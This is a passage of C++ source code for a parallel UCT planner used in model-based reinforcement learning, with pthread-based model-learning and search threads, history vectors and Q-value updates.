<sys/time.h>\n\n\nParallelETUCT::ParallelETUCT(int numactions, float gamma, float rrange, float lambda,\n int MAX_ITER, float MAX_TIME, int MAX_DEPTH, int modelType,\n const std::vector<float> &fmax, const std::vector<float> &fmin,\n const std::vector<int> &nstatesPerDim, bool trackActual, int historySize, Random r):\n numactions(numactions), gamma(gamma), rrange(rrange), lambda(lambda),\n MAX_ITER(MAX_ITER), MAX_TIME(MAX_TIME),\n MAX_DEPTH(MAX_DEPTH), modelType(modelType), statesPerDim(nstatesPerDim),\n trackActual(trackActual), HISTORY_SIZE(historySize),\n HISTORY_FL_SIZE(historySize*numactions),\n CLEAR_SIZE(25)\n{\n rng = r;\n\n nstates = 0;\n nsaved = 0;\n nactions = 0;\n lastUpdate = -1;\n\n seedMode = false;\n timingType = true;\n\n previnfo = NULL;\n model = NULL;\n planTime = getSeconds();\n initTime = getSeconds();\n setTime = getSeconds();\n\n PLANNERDEBUG = false;\n POLICYDEBUG = false; //true; //false; //true; //false;\n ACTDEBUG = false; //true;\n MODELDEBUG = false;\n UCTDEBUG = false;\n PTHREADDEBUG = false;\n ATHREADDEBUG = false;//true;\n MTHREADDEBUG = false; //true;\n TIMINGDEBUG = false;\n REALSTATEDEBUG = false;\n HISTORYDEBUG = false; //true;\n\n if (statesPerDim[0] > 0){\n cout << \"Planner Parallel ETUCT using discretization of \" << statesPerDim[0] << endl;\n }\n if (trackActual){\n cout << \"Parallel ETUCT tracking real state values\" << endl;\n }\n cout << \"Planner using history size: \" << HISTORY_SIZE << endl;\n\n featmax = fmax;\n featmin = fmin;\n\n pthread_mutex_init(&update_mutex, NULL);\n pthread_mutex_init(&history_mutex, NULL);\n pthread_mutex_init(&nactions_mutex, NULL);\n pthread_mutex_init(&plan_state_mutex, NULL);\n pthread_mutex_init(&statespace_mutex, NULL);\n pthread_mutex_init(&model_mutex, NULL);\n pthread_mutex_init(&list_mutex, NULL);\n pthread_cond_init(&list_cond, NULL);\n\n // start parallel search thread\n actualPlanState = std::vector<float>(featmax.size());\n discPlanState = NULL;\n modelThreadStarted = false;\n planThreadStarted = false;\n expList.clear();\n\n if (HISTORY_SIZE == 0){\n saHistory.push_back(0.0);\n }\n else {\n if (HISTORYDEBUG) {\n cout << \"History size of \" << HISTORY_SIZE\n << \" float size of \" << HISTORY_FL_SIZE\n << \" with state size: \" << fmin.size()\n << \" and numact: \" << numactions << endl;\n }\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n saHistory.push_back(0.0);\n }\n }\n\n // initStates();\n expfile.initFile(\"experiences.bin\", featmax.size());\n}\n\nParallelETUCT::~ParallelETUCT() {\n // join threads\n\n //pthread_kill(planThread);\n //pthread_kill(modelThread);\n\n pthread_detach(planThread);//, NULL);\n pthread_detach(modelThread);//, NULL);\n\n pthread_cancel(planThread);//, NULL);\n pthread_cancel(modelThread);//, NULL);\n\n //pthread_join(planThread, NULL);\n //pthread_join(modelThread, NULL);\n\n //pthread_detach(planThread);//, NULL);\n //pthread_detach(modelThread);//, NULL);\n\n\n pthread_mutex_lock(&plan_state_mutex);\n pthread_mutex_lock(&statespace_mutex);\n pthread_mutex_lock(&model_mutex);\n pthread_mutex_lock(&list_mutex);\n\n // delete exp list\n expList.clear();\n\n for (std::map<state_t, state_info>::iterator i = statedata.begin();\n i != statedata.end(); i++){\n\n // get state's info\n //cout << \" planner got info\" << endl;\n state_info* info = &((*i).second);\n\n deleteInfo(info);\n }\n\n featmax.clear();\n featmin.clear();\n\n statespace.clear();\n statedata.clear();\n\n pthread_mutex_unlock(&plan_state_mutex);\n pthread_mutex_unlock(&statespace_mutex);\n pthread_mutex_unlock(&model_mutex);\n pthread_mutex_unlock(&list_mutex);\n\n}\n\nvoid ParallelETUCT::setModel(MDPModel* m){\n\n model = m;\n\n}\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\n\n/** Use the latest experience to update state info and the model. */\nbool ParallelETUCT::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n // if (PLANNERDEBUG) cout << \"updateModelWithExperience(last = \" << &laststate\n // << \", curr = \" << &currstate\n // << \", lastact = \" << lastact\n // << \", r = \" << reward\n // << \", term = \" << term\n // << \")\" << endl;\n\n //cout << \"updateModel\" << endl << flush;\n\n if (!timingType)\n planTime = getSeconds();\n initTime = getSeconds();\n\n // canonicalize these things\n state_t last = canonicalize(laststate);\n\n prevstate = last;\n prevact = lastact;\n\n // get state info\n pthread_mutex_lock(&statespace_mutex);\n previnfo = &(statedata[last]);\n pthread_mutex_unlock(&statespace_mutex);\n\n if (MODELDEBUG){\n cout << \"Update with exp from state: \";\n for (unsigned i = 0; i < last->size(); i++){\n cout << (laststate)[i] << \", \";\n }\n cout << \" action: \" << lastact;\n cout << \" to state: \";\n for (unsigned i = 0; i < currstate.size(); i++){\n cout << (currstate)[i] << \", \";\n }\n cout << \" and reward: \" << reward << endl;\n }\n\n // add experiences to list to later be updated into model\n if (ATHREADDEBUG)\n cout << \"*** Action thread wants list lock ***\" << endl << flush;\n if (TIMINGDEBUG) cout << \"Want list mutex, time: \" << (getSeconds()-initTime) << endl;\n pthread_mutex_lock(&list_mutex);\n if (TIMINGDEBUG) cout << \"got list mutex, time: \" << (getSeconds()-initTime) << endl;\n experience e;\n e.s = laststate;\n e.next = currstate;\n e.act = lastact;\n e.reward = reward;\n e.terminal = term;\n\n if (HISTORY_SIZE > 0){\n if (HISTORYDEBUG) {\n cout << \"Original state vector (size \" << e.s.size() << \": \" << e.s[0];\n for (unsigned i = 1; i < e.s.size(); i++){\n cout << \",\" << e.s[i];\n }\n cout << endl;\n }\n // add history onto e.s\n pthread_mutex_lock(&history_mutex);\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n e.s.push_back(saHistory[i]);\n }\n pthread_mutex_unlock(&history_mutex);\n\n if (HISTORYDEBUG) {\n cout << \"New state vector (size \" << e.s.size() << \": \" << e.s[0];\n for (unsigned i = 1; i < e.s.size(); i++){\n cout << \",\" << e.s[i];\n }\n cout << endl;\n }\n\n if (!seedMode){\n pthread_mutex_lock(&history_mutex);\n // push this state and action onto the history vector\n /*\n for (unsigned i = 0; i < last->size(); i++){\n saHistory.push_back((*last)[i]);\n saHistory.pop_front();\n }\n\n saHistory.push_back((*last)[3]);\n saHistory.pop_front();\n */\n for (int i = 0; i < numactions; i++){\n if (i == lastact)\n saHistory.push_back(1.0);\n else\n saHistory.push_back(0.0);\n saHistory.pop_front();\n }\n\n // saHistory.push_back(lastact);\n //saHistory.pop_front();\n if (HISTORYDEBUG) {\n cout << \"New history vector (size \" << saHistory.size() << \": \" << saHistory[0];\n for (unsigned i = 1; i < saHistory.size(); i++){\n cout << \",\" << saHistory[i];\n }\n cout << endl;\n }\n pthread_mutex_unlock(&history_mutex);\n }\n }\n\n expList.push_back(e);\n //expfile.saveExperience(e);\n if (ATHREADDEBUG || MTHREADDEBUG)\n cout << \"added exp to list, size: \" << expList.size() << endl << flush;\n if (TIMINGDEBUG) cout << \"list updated, time: \" << (getSeconds()-initTime) << endl;\n pthread_cond_signal(&list_cond);\n pthread_mutex_unlock(&list_mutex);\n\n /*\n if (e.reward > -0.5 && e.reward < 0){\n expfile.saveExperience(e);\n nsaved++;\n cout << \"Saved Experience \" << e.reward << endl;\n }\n */\n\n if (timingType)\n planTime = getSeconds();\n\n if (TIMINGDEBUG) cout << \"leaving updateModel, time: \" << (getSeconds()-initTime) << endl;\n\n\n return false;\n\n}\n\n/** Update a single state-action from the model */\nvoid ParallelETUCT::updateStateActionFromModel(state_t s, int a, state_info* info){\n\n if (HISTORY_SIZE == 0){\n pthread_mutex_lock(&info->statemodel_mutex);\n\n std::deque<float> history(1,0.0);\n StateActionInfo* newModel = NULL;\n newModel = &(info->historyModel[a][history]);\n\n updateStateActionHistoryFromModel(*s, a, newModel);\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n }\n\n else {\n pthread_mutex_lock(&info->statemodel_mutex);\n\n // clear large ones\n if (info->historyModel[a].size() > CLEAR_SIZE){\n\n // cout << \"clearing model map of size \" << info->historyModel[a].size() << endl;\n\n // instead, clear because these take too much memory to keep around\n info->historyModel[a].clear();\n\n } else {\n\n // fill in for all histories???\n for (std::map< std::deque<float>, StateActionInfo>::iterator it = info->historyModel[a].begin();\n it != info->historyModel[a].end(); it++){\n\n std::deque<float> oneHist = (*it).first;\n StateActionInfo* newModel = &((*it).second);\n\n // add history to vector\n std::vector<float> modState = *s;\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(oneHist[i]);\n }\n updateStateActionHistoryFromModel(modState, a, newModel);\n }\n }\n\n pthread_mutex_unlock(&info->statemodel_mutex);\n }\n\n}\n\n/** Update a single state-action from the model */\nvoid ParallelETUCT::updateStateActionHistoryFromModel(const std::vector<float> modState, int a, StateActionInfo *newModel){\n\n // update state info\n // get state action info for each action\n pthread_mutex_lock(&model_mutex);\n\n model->getStateActionInfo(modState, a, newModel);\n\n pthread_mutex_lock(&nactions_mutex);\n newModel->frameUpdated = nactions;\n pthread_mutex_unlock(&nactions_mutex);\n\n pthread_mutex_unlock(&model_mutex);\n\n //canonNextStates(newModel);\n\n}\n\nvoid ParallelETUCT::canonNextStates(StateActionInfo* modelInfo){\n\n\n // loop through all next states\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n bool badState = false;\n\n // check that it is valid, otherwise replace with current\n for (unsigned j = 0; j < nextstate.size(); j++){\n float factor = EPSILON;\n if (statesPerDim[j] > 0)\n factor = (featmax[j] - featmin[j]) / (float)statesPerDim[j];\n if (nextstate[j] < (featmin[j]-factor)\n || nextstate[j] > (featmax[j]+factor)){\n //cout << \"next state out of range \" << nextstate[j] << endl;\n badState = true;\n break;\n }\n }\n\n if (!badState){\n\n canonicalize(nextstate);\n }\n }\n}\n\n\n\n\n/** Choose the next action */\nint ParallelETUCT::getBestAction(const std::vector<float> &state){\n // if (PLANNERDEBUG) cout << \"getBestAction(s = \" << &state << \")\" << endl;\n\n pthread_mutex_lock(&nactions_mutex);\n nactions++;\n pthread_mutex_unlock(&nactions_mutex);\n\n if (TIMINGDEBUG) cout << \"getBestAction, time: \" << (getSeconds()-initTime) << endl;\n\n\n state_t s = canonicalize(state);\n\n // set plan state so uct will search from here\n if (ATHREADDEBUG)\n cout << \"*** Action thread wants plan state lock ***\" << endl << flush;\n if (TIMINGDEBUG) cout << \"want planStateMut, time: \" << (getSeconds()-initTime) << endl;\n\n pthread_mutex_lock(&(plan_state_mutex));\n if (TIMINGDEBUG) cout << \"got planStateMut, time: \" << (getSeconds()-initTime) << endl;\n\n actualPlanState = state;\n discPlanState = s;\n setTime = getSeconds();\n\n if (ATHREADDEBUG){\n cout << \"Set planning state as: \";\n for (unsigned i = 0; i < state.size(); i++){\n cout << state[i] << \", \";\n }\n cout << endl << flush;\n }\n\n // call uct search on it\n pthread_mutex_unlock(&(plan_state_mutex));\n if (TIMINGDEBUG) cout << \"set planState, time: \" << (getSeconds()-initTime) << endl;\n\n // get state info\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // wait a bit for some planning from this state\n\n // depending on how you run the code, this has to be setup differently\n // if someone else calls this method at the appropriate rate, do nothing here\n\n // or this can be where we wait to ensure we run at some rate:\n while (((getSeconds()- initTime) < MAX_TIME)){\n if (TIMINGDEBUG)\n cout << \"waiting for time: \" << (getSeconds()-initTime) << endl;\n\n pthread_yield();\n }\n\n if (TIMINGDEBUG) cout << \"time up: \" << (getSeconds()-initTime) << endl;\n\n if (TIMINGDEBUG && (getSeconds()-initTime) > 0.15) cout << \"**********\" << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // Get Q values\n std::vector<float> &Q = info->Q;\n\n\n if (ATHREADDEBUG) {\n if (previnfo != NULL)\n cout << \" ... now \" << previnfo->uctVisits << \" times.\" << endl;\n cout << \"Getting best action from state \";\n for (unsigned i = 0; i < s->size(); i++){\n cout << (*s)[i] << \", \";\n }\n cout << \" sampled \" << info->uctVisits << \" times.\";// << endl << flush;\n }\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q.begin(), Q.end()); // Choose maximum\n int act = a - Q.begin();\n\n if (TIMINGDEBUG) cout << \"got action: \" << (getSeconds()-initTime) << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n // return index of action\n return act;\n}\n\n\n\n\n\n\nvoid ParallelETUCT::planOnNewModel(){\n //return;\n // cout << \"planOnNewModel\" << endl << flush;\n // start model learning thread here\n if (!modelThreadStarted){\n modelThreadStarted = true;\n pthread_create(&modelThread, NULL, parallelModelLearningStart, this);\n }\n\n if (!planThreadStarted){\n planThreadStarted = true;\n pthread_create(&(planThread), NULL, parallelSearchStart, this);\n }\n\n}\n\n\nvoid* parallelModelLearningStart(void* arg){\n cout << \"Start model learning thread\" << endl << flush;\n ParallelETUCT* pe = reinterpret_cast<ParallelETUCT*>(arg);\n while(true){\n pe->parallelModelLearning();\n /*\n if (!pe->planThreadStarted){\n pe->planThreadStarted = true;\n pthread_create(&(pe->planThread), NULL, parallelSearchStart, pe);\n }\n */\n }\n return NULL;\n}\n\nvoid ParallelETUCT::parallelModelLearning(){\n //while(true){\n\n // wait for experience list to be non-empty\n pthread_mutex_lock(&list_mutex);\n while (expList.size() == 0){\n pthread_cond_wait(&list_cond,&list_mutex);\n }\n pthread_mutex_unlock(&list_mutex);\n\n // copy over experience list\n std::vector<experience> updateList;\n if (MTHREADDEBUG) cout << \" *** Model thread wants list lock ***\" << endl << flush;\n pthread_mutex_lock(&list_mutex);\n updateList = expList;\n expList.clear();\n if (MTHREADDEBUG) cout << \" *** Model thread done with list lock ***\" << endl << flush;\n pthread_mutex_unlock(&list_mutex);\n\n /*\n // update model\n //cout << \"*** Model thread wants tree lock ***\" << endl << flush;\n pthread_mutex_lock(&model_mutex);\n if (MTHREADDEBUG) cout << \" Model thread: going to update model with \" << updateList.size() << \" new experiences\" << endl << flush;\n //cout << \"****update tree with \" << updateList.size() << endl << flush;\n bool modelChanged = model->updateWithExperiences(updateList);\n if (MTHREADDEBUG) cout << \" Model updated\" << endl << flush;\n pthread_mutex_unlock(&model_mutex);\n */\n\n modelcopy = model->getCopy();\n //if (COPYDEBUG) cout << \"*** PO: model copied\" << endl;\n\n // update model copy with new experience\n bool modelChanged = modelcopy->updateWithExperiences(updateList);\n\n // set model pointer to point at copy, delete original model cout << \"acquire model_mutex for update\" << endl;\n pthread_mutex_lock(&model_mutex);\n //cout << \"model_mutex acquired for update\" << endl;\n //if (COPYDEBUG) cout << \"*** PO: delete original model and change pointer\" << endl;\n delete model;\n model = modelcopy;\n if (MTHREADDEBUG) cout << \" Model updated\" << endl << flush;\n //if (COPYDEBUG) cout << \"*** PO: pointer set to updated model copy\" << endl;\n pthread_mutex_unlock(&model_mutex);\n\n\n\n // if it changed, reset counts, update state actions\n if (modelChanged) resetAndUpdateStateActions();\n\n pthread_yield();\n\n //}// while loop\n} // method\n\n\n\n\nvoid ParallelETUCT::resetAndUpdateStateActions(){\n //cout << \"*** Model changed, updating state actions ***\" << endl << flush;\n const int MIN_VISITS = 10;\n\n pthread_mutex_lock(&nactions_mutex);\n int updateTime = nactions;\n pthread_mutex_unlock(&nactions_mutex);\n\n // loop through here\n\n pthread_mutex_lock(&statespace_mutex);\n\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n if (MTHREADDEBUG) cout << \" *** Model thread wants search lock ***\" << endl;\n\n if (MTHREADDEBUG) cout << \" *** Model thread got search lock \" << endl;\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n if (info->uctVisits > (MIN_VISITS * numactions))\n info->uctVisits = MIN_VISITS * numactions;\n\n for (int j = 0; j < numactions; j++){\n if (info->uctActions[j] > MIN_VISITS)\n info->uctActions[j] = MIN_VISITS;\n if (info->needsUpdate || info->historyModel[j].size() > CLEAR_SIZE){\n updateStateActionFromModel(s, j, info);\n }\n }\n info->needsUpdate = false;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_yield();\n\n pthread_mutex_lock(&statespace_mutex);\n\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n pthread_mutex_lock(&update_mutex);\n lastUpdate = updateTime;\n pthread_mutex_unlock(&update_mutex);\n\n}\n\n\n\n\n////////////////////////////\n// Helper Functions //\n////////////////////////////\n\nParallelETUCT::state_t ParallelETUCT::canonicalize(const std::vector<float> &s) {\n if (PLANNERDEBUG) cout << \"canonicalize(s = \" << s[0] << \", \"\n << s[1] << \")\" << endl;\n\n // discretize it\n std::vector<float> s2;\n if (statesPerDim[0] > 0){\n s2 = discretizeState(s);\n } else {\n s2 = s;\n }\n\n pthread_mutex_lock(&statespace_mutex);\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s2);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n state_info* info = &(statedata[retval]);\n int id = nstates++;\n pthread_mutex_unlock(&statespace_mutex);\n initStateInfo(retval, info, id);\n } else {\n pthread_mutex_unlock(&statespace_mutex);\n }\n\n return retval;\n}\n\n\n// init state info\nvoid ParallelETUCT::initStateInfo(state_t s, state_info* info, int id){\n //if (PLANNERDEBUG) cout << \"initStateInfo()\";\n\n // init mutex's for this state info\n pthread_mutex_init(&info->statemodel_mutex, NULL);\n pthread_mutex_init(&info->stateinfo_mutex, NULL);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // model data (transition, reward, known)\n\n pthread_mutex_lock(&info->statemodel_mutex);\n info->historyModel = new std::map< std::deque<float>, StateActionInfo>[numactions];\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n info->id = id;\n if (PLANNERDEBUG) cout << \" id = \" << info->id << endl;\n\n // model q values, visit counts\n info->Q.resize(numactions, 0);\n info->uctActions.resize(numactions, 1);\n info->uctVisits = 1;\n info->visited = 0; //false;\n\n for (int i = 0; i < numactions; i++){\n info->Q[i] = rng.uniform(0,0.01);\n }\n\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n //if (PLANNERDEBUG) cout << \"done with initStateInfo()\" << endl;\n\n}\n\n\n/** Print state info for debugging. */\nvoid ParallelETUCT::printStates(){\n\n pthread_mutex_lock(&statespace_mutex);\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n pthread_mutex_unlock(&statespace_mutex);\n\n state_t s = canonicalize(*i);\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[s]);\n pthread_mutex_unlock(&statespace_mutex);\n\n cout << \"State \" << info->id << \": \";\n for (unsigned j = 0; j < s->size(); j++){\n cout << (*s)[j] << \", \";\n }\n cout << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n //pthread_mutex_lock(&info->statemodel_mutex);\n for (int act = 0; act < numactions; act++){\n cout << \" Q: \" << info->Q[act] << endl;\n // << \" R: \" << info->modelInfo[act].reward << endl;\n }\n // pthread_mutex_unlock(&info->statemodel_mutex);\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n pthread_mutex_lock(&statespace_mutex);\n\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n}\n\n\nvoid ParallelETUCT::deleteInfo(state_info* info){\n\n delete [] info->historyModel;\n\n}\n\n\n\ndouble ParallelETUCT::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\n/** Execute the uct search from state state at depth depth.\n If terminal or at depth, return some reward.\n Otherwise, select an action based on UCB.\n Simulate action to get reward and next state.\n Call search on next state at depth+1 to get reward return from there on.\n Update q value towards new value: reward + gamma * searchReturn\n Update visit counts for confidence bounds\n Return q\n\n From \"Bandit Based Monte Carlo Planning\" by Kocsis and Csaba.\n*/\nfloat ParallelETUCT::uctSearch(const std::vector<float> &actS, state_t discS, int depth, std::deque<float> &searchHistory){\n if (UCTDEBUG){\n cout << \" uctSearch state \";\n for (unsigned i = 0; i < actS.size(); i++){\n cout << actS[i] << \", \";\n }\n cout << \" at depth \" << depth << endl;\n }\n\n pthread_mutex_lock(&statespace_mutex);\n state_info* info = &(statedata[discS]);\n pthread_mutex_unlock(&statespace_mutex);\n\n // if max depth\n // iterative deepening (probability inversely proportional to visits)\n //float terminateProb = 1.0/(2.0+(float)info->uctVisits);\n\n // already visited, stop here\n if (depth > MAX_DEPTH){\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n // return max q value here\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \"Terminated after depth: \" << depth\n // << \" prob: \" << terminateProb\n << \" Q: \" << maxval\n << \" visited: \" << info->visited << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return maxval;\n }\n\n // select action\n int action = selectUCTAction(info);\n\n // simulate action to get next state and reward\n // depending on exploration, may also terminate us\n float reward = 0;\n bool term = false;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n float learnRate;\n //float learnRate = 0.001;\n //float learnRate = 1.0 / info->uctActions[action];\n // learnRate = 10.0 / (info->uctActions[action] + 100.0);\n learnRate = 10.0 / (info->uctActions[action] + 10.0);\n //if (learnRate < 0.001 && MAX_TIME < 0.5)\n //learnRate = 0.001;\n //learnRate = 0.05;\n //learnRate = 1.0;\n\n // tell model learning thread to update this state since we've visited it\n info->needsUpdate = true;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n std::vector<float> actualNext = simulateNextState(actS, discS, info, searchHistory, action, &reward, &term);\n\n // simulate reward from this action\n if (term){\n // this one terminated\n if (UCTDEBUG) cout << \" Terminated on exploration condition\" << endl;\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n info->Q[action] += learnRate * (reward - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return reward;\n }\n\n // simulate next state from this action\n state_t discNext = canonicalize(actualNext);\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n info->visited++; // = true;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n if (HISTORY_SIZE > 0){\n // update history vector for this state\n /*\n for (unsigned i = 0; i < (*discS).size(); i++){\n searchHistory.push_back((*discS)[i]);\n searchHistory.pop_front();\n }\n\n searchHistory.push_back((*discS)[3]);\n searchHistory.pop_front();\n */\n for (int i = 0; i < numactions; i++){\n if (i == action)\n searchHistory.push_back(1.0);\n else\n searchHistory.push_back(0.0);\n searchHistory.pop_front();\n }\n\n // searchHistory.push_back(action);\n //searchHistory.pop_front();\n if (HISTORYDEBUG) {\n cout << \"New planning history vector (size \" << searchHistory.size() << \": \" << searchHistory[0];\n for (unsigned i = 1; i < searchHistory.size(); i++){\n cout << \",\" << searchHistory[i];\n }\n cout << endl;\n }\n }\n\n // new q value\n float newQ = reward + gamma * uctSearch(actualNext, discNext, depth+1, searchHistory);\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n if (info->visited == 1){\n\n // update q and visit counts\n info->Q[action] += learnRate * (newQ - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" newQ: \" << newQ\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n if (lambda < 1.0){\n\n // new idea, return max of Q or new q\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \" Replacing newQ: \" << newQ;\n\n // replace with w avg of maxq and new val\n newQ = (lambda * newQ) + ((1.0-lambda) * maxval);\n\n if (UCTDEBUG)\n cout << \" with wAvg: \" << newQ << endl;\n }\n\n }\n\n info->visited--;\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n // return q\n return newQ;\n\n}\n\n\nint ParallelETUCT::selectUCTAction(state_info* info){\n // if (UCTDEBUG) cout << \" selectUCTAction\" << endl;\n\n pthread_mutex_lock(&info->stateinfo_mutex);\n\n std::vector<float> &Q = info->Q;\n\n if (info->uctActions.size() < (unsigned)numactions){\n cout << \"ERROR: uctActions has size \" << info->uctActions.size() << endl << flush;\n info->uctActions.resize(numactions);\n }\n\n // loop through\n float rewardBound = rrange;\n if (rewardBound < 1.0)\n rewardBound = 1.0;\n rewardBound /= (1.0 - gamma);\n if (UCTDEBUG) cout << \"Reward bound: \" << rewardBound << endl;\n\n std::vector<float> uctQ(numactions, 0.0);\n\n for (int i = 0; i < numactions; i++){\n\n // this actions value is Q + rMax * 2 sqrt (log N(s) / N(s,a))\n uctQ[i] = Q[i] +\n rewardBound * 2.0 * sqrt(log((float)info->uctVisits) /\n (float)info->uctActions[i]);\n\n if (UCTDEBUG)\n cout << \" Action: \" << i << \" Q: \" << Q[i]\n << \" visits: \" << info->uctActions[i]\n << \" value: \" << uctQ[i] << endl;\n }\n\n // max element of uctQ\n std::vector<float>::iterator maxAct =\n max_element(uctQ.begin(), uctQ.end());\n float maxval = *maxAct;\n int act = maxAct - uctQ.begin();\n\n if (UCTDEBUG)\n cout << \" Selected \" << act << \" val: \" << maxval << endl;\n\n pthread_mutex_unlock(&info->stateinfo_mutex);\n\n return act;\n\n}\n\n/** sample from next state distribution */\nstd::vector<float> ParallelETUCT::simulateNextState(const std::vector<float> &actualState, state_t discState, state_info* info, const std::deque<float> &history, int action, float* reward, bool* term){\n //if (UCTDEBUG) cout << \" simulateNextState\" << endl;\n\n\n // check if its up to date\n pthread_mutex_lock(&info->statemodel_mutex);\n StateActionInfo* modelInfo = NULL;\n modelInfo = &(info->historyModel[action][history]);\n\n pthread_mutex_lock(&update_mutex);\n bool upToDate = modelInfo->frameUpdated >= lastUpdate;\n pthread_mutex_unlock(&update_mutex);\n\n if (!upToDate){\n // must put in appropriate history\n if (HISTORY_SIZE > 0){\n std::vector<float> modState = *discState;\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(history[i]);\n }\n updateStateActionHistoryFromModel(modState, action, modelInfo);\n } else {\n updateStateActionHistoryFromModel(*discState, action, modelInfo);\n }\n }\n\n *reward = modelInfo->reward;\n *term = (rng.uniform() < modelInfo->termProb);\n\n if (*term){\n pthread_mutex_unlock(&info->statemodel_mutex);\n return actualState;\n }\n\n float randProb = rng.uniform();\n\n float probSum = 0.0;\n std::vector<float> nextstate;\n\n if (REALSTATEDEBUG) cout << \"randProb: \" << randProb << \" numNext: \" << modelInfo->transitionProbs.size() << endl;\n\n //if (modelInfo->transitionProbs.size() == 0)\n nextstate = actualState;\n\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n float prob = (*outIt).second;\n probSum += prob;\n if (REALSTATEDEBUG) cout << randProb << \", \" << probSum << \", \" << prob << endl;\n\n if (randProb <= probSum){\n nextstate = (*outIt).first;\n if (REALSTATEDEBUG) cout << \"selected state \" << randProb << \", \" << probSum << \", \" << prob << endl;\n break;\n }\n }\n\n pthread_mutex_unlock(&info->statemodel_mutex);\n\n if (trackActual){\n\n // find the relative change from discrete center\n std::vector<float> relChange = subVec(nextstate, *discState);\n\n // add that on to actual current state value\n nextstate = addVec(actualState, relChange);\n\n }\n\n // check that next state is valid\n for (unsigned j = 0; j < nextstate.size(); j++){\n float factor = EPSILON;\n if (statesPerDim[j] > 0)\n factor = (featmax[j] - featmin[j]) / (float)statesPerDim[j];\n if (nextstate[j] < (featmin[j]-factor)\n || nextstate[j] > (featmax[j]+factor)){\n return actualState;\n }\n }\n\n // return new actual state\n return nextstate;\n\n}\n\nstd::vector<float> ParallelETUCT::selectRandomState(){\n\n pthread_mutex_lock(&statespace_mutex);\n if (statespace.size() == 0){\n pthread_mutex_unlock(&statespace_mutex);\n return std::vector<float>(featmax.size());\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n // take a random state from the space of ones we've visited\n int index = 0;\n std::vector<float> state;\n\n pthread_mutex_lock(&statespace_mutex);\n if (statespace.size() > 1){\n index = rng.uniformDiscrete(0, statespace.size()-1);\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n int cnt = 0;\n\n if (PTHREADDEBUG) cout << \"*** Planning thread wants search lock (randomstate) ***\" << endl << flush;\n\n pthread_mutex_lock(&statespace_mutex);\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++, cnt++){\n if (cnt == index){\n state = *i;\n break;\n }\n }\n pthread_mutex_unlock(&statespace_mutex);\n\n return state;\n}\n\n\nvoid* parallelSearchStart(void* arg){\n ParallelETUCT* pe = reinterpret_cast<ParallelETUCT*>(arg);\n\n cout << \"start parallel uct planning search thread\" << endl << flush;\n\n while(true){\n pe->parallelSearch();\n }\n\n return 